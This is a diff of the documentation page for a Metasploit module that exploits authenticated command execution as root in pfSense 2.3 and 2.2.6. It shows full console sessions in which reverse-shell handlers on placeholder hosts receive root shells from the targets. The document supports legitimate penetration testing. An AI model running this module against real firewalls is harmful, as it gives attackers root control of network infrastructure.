|
3 | 3 | This module exploits a vulnerability in pfSense version 2.3 and before which allows an authenticated user to execute arbitrary operating system commands
|
4 | 4 | as root.
|
5 | 5 |
|
6 |
| - This module has been tested successfully on version 2.3 RELEASE. |
| 6 | + This module has been tested successfully on version 2.3-RELEASE, and 2.2.6. |
7 | 7 |
|
8 | 8 |
|
9 | 9 | ## Vulnerable Application
|
10 | 10 |
|
11 |
| - This module has been tested successfully on version CE 2.3 amd64. |
| 11 | + This module has been tested successfully on version CE 2.3 amd64, and 2.2.6 amd64. |
12 | 12 |
|
13 | 13 | Installer:
|
14 | 14 |
|
|
28 | 28 |
|
29 | 29 | ## Sample Output
|
30 | 30 |
|
| 31 | +### 2.3-Release amd64 |
| 32 | + |
31 | 33 | ```
|
32 | 34 | [*] Processing pfsense.rc for ERB directives.
|
33 | 35 | resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
|
34 |
| -resource (pfsense.rc)> set rhost 192.168.2.15 |
35 |
| -rhost => 192.168.2.15 |
| 36 | +resource (pfsense.rc)> set rhost 2.2.2.2 |
| 37 | +rhost => 2.2.2.2 |
36 | 38 | resource (pfsense.rc)> set verbose true
|
37 | 39 | verbose => true
|
| 40 | +resource (pfsense.rc)> set lhost 1.1.1.1 |
| 41 | +lhost => 1.1.1.1 |
38 | 42 | resource (pfsense.rc)> check
|
39 |
| -[*] 192.168.2.15:443 The target service is running, but could not be validated. |
| 43 | +[*] 2.2.2.2:443 The target service is running, but could not be validated. |
40 | 44 | resource (pfsense.rc)> exploit
|
41 |
| -[*] Started reverse TCP handler on 192.168.2.147:4444 |
42 |
| -[*] CSRF Token for login: sid:e03842f251d3dacb9df81c00a328431580c8fed5,1510715698;ip:ca2fedb3100f0d4d998c9a6a4bb14a624ff904ec,1510715698 |
| 45 | +[*] Started reverse double SSL handler on 1.1.1.1:4444 |
| 46 | +[*] CSRF Token for login: sid:a11be2ee5849522898e2c1ff23739b35c76435bf,1510545358;ip:d70924f708189287bdee1e08d7fa83758a0e1f68,1510545358 |
43 | 47 | [*] Successful Authentication
|
| 48 | +[*] pfSense Version Detected: 2.3-RELEASE |
44 | 49 | [+] Login Successful
|
45 |
| -[*] CSRF Token for group creation: sid:c8b3595aa9e5479086e5ea24f12f737f84dc39a7,1510715698 |
46 |
| -[*] Command shell session 1 opened (192.168.2.147:4444 -> 192.168.2.15:65499) at 2017-11-14 22:14:58 -0500 |
| 50 | +[*] CSRF Token for group creation: sid:823a6f854ad1bae307c2959e95ccc98a8d72f2c1,1510545361 |
| 51 | +[*] Manual removal of group aJPEfJLDKT is required. |
| 52 | +[*] Accepted the first client connection... |
| 53 | +[*] Accepted the second client connection... |
| 54 | +[*] Command: echo 5ER6rqZOjOSGjRml; |
| 55 | +[*] Writing to socket A |
| 56 | +[*] Writing to socket B |
| 57 | +[*] Reading from sockets... |
| 58 | +[*] Reading from socket A |
| 59 | +[*] A: "5ER6rqZOjOSGjRml\n" |
| 60 | +[*] Matching... |
| 61 | +[*] B is input... |
| 62 | +[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:25824) at 2017-11-19 08:15:00 -0500 |
47 | 63 |
|
48 | 64 | whoami
|
49 | 65 | root
|
50 | 66 | uname -a
|
51 | 67 | FreeBSD . 10.3-RELEASE FreeBSD 10.3-RELEASE #6 05adf0a(RELENG_2_3_0): Mon Apr 11 18:52:07 CDT 2016 root@ce23-amd64-builder:/builder/pfsense-230/tmp/obj/builder/pfsense-230/tmp/FreeBSD-src/sys/pfSense amd64
|
52 | 68 | ```
|
| 69 | +### 2.2.6 amd64 |
| 70 | + |
| 71 | +``` |
| 72 | +[*] Processing pfsense.rc for ERB directives. |
| 73 | +resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec |
| 74 | +resource (pfsense.rc)> set rhost 3.3.3.3 |
| 75 | +rhost => 3.3.3.3 |
| 76 | +resource (pfsense.rc)> set verbose true |
| 77 | +verbose => true |
| 78 | +resource (pfsense.rc)> set lhost 1.1.1.1 |
| 79 | +lhost => 1.1.1.1 |
| 80 | +resource (pfsense.rc)> check |
| 81 | +[*] 3.3.3.3:443 The target is not exploitable. |
| 82 | +resource (pfsense.rc)> exploit |
| 83 | +[*] Started reverse double SSL handler on 1.1.1.1:4444 |
| 84 | +[*] CSRF Token for login: sid:bb80526160efcf79d8660d1a31f6bf88e154b38e,1511091712;ip:42d05b73fc9b2d31c54333a60fd308dfbd4da97a,1511091712 |
| 85 | +[*] Successful Authentication |
| 86 | +[*] pfSense Version Detected: 2.2.6-RELEASE |
| 87 | +[+] Login Successful |
| 88 | +[*] CSRF Token for group creation: sid:d49a6dc5b7e98c92a7772c605af3586a1f3adc75,1511091715 |
| 89 | +[*] Manual removal of group okUPTvzysL is required. |
| 90 | +[*] Accepted the first client connection... |
| 91 | +[*] Accepted the second client connection... |
| 92 | +[*] Command: echo 7hKg6oD9DkwXYRtt; |
| 93 | +[*] Writing to socket A |
| 94 | +[*] Writing to socket B |
| 95 | +[*] Reading from sockets... |
| 96 | +[*] Reading from socket B |
| 97 | +[*] B: "7hKg6oD9DkwXYRtt\n" |
| 98 | +[*] Matching... |
| 99 | +[*] A is input... |
| 100 | +[*] Command shell session 1 opened (1.1.1.1:4444 -> 3.3.3.3:34403) at 2017-11-19 06:42:00 -0500 |
| 101 | +
|
| 102 | +whoami |
| 103 | +root |
| 104 | +uname -a |
| 105 | +FreeBSD pfSense.localdomain 10.1-RELEASE-p25 FreeBSD 10.1-RELEASE-p25 #0 c39b63e(releng/10.1)-dirty: Mon Dec 21 15:20:13 CST 2015 root@pfs22-amd64-builder:/usr/obj.RELENG_2_2.amd64/usr/pfSensesrc/src.RELENG_2_2/sys/pfSense_SMP.10 amd64 |
| 106 | +``` |
| 107 | + |
| 108 | +## Cleanup |
| 109 | + |
| 110 | +Manual cleanup is required. The group name is printed during exploitation. |
| 111 | + |
| 112 | +## Logging |
| 113 | + |
| 114 | +Logging into the web interface writes a line to the system out on the console similar to: `pfSense php-fpm[72834]: /index.php: Succeessful login for user 'admin' from [ip]` |
0 commit comments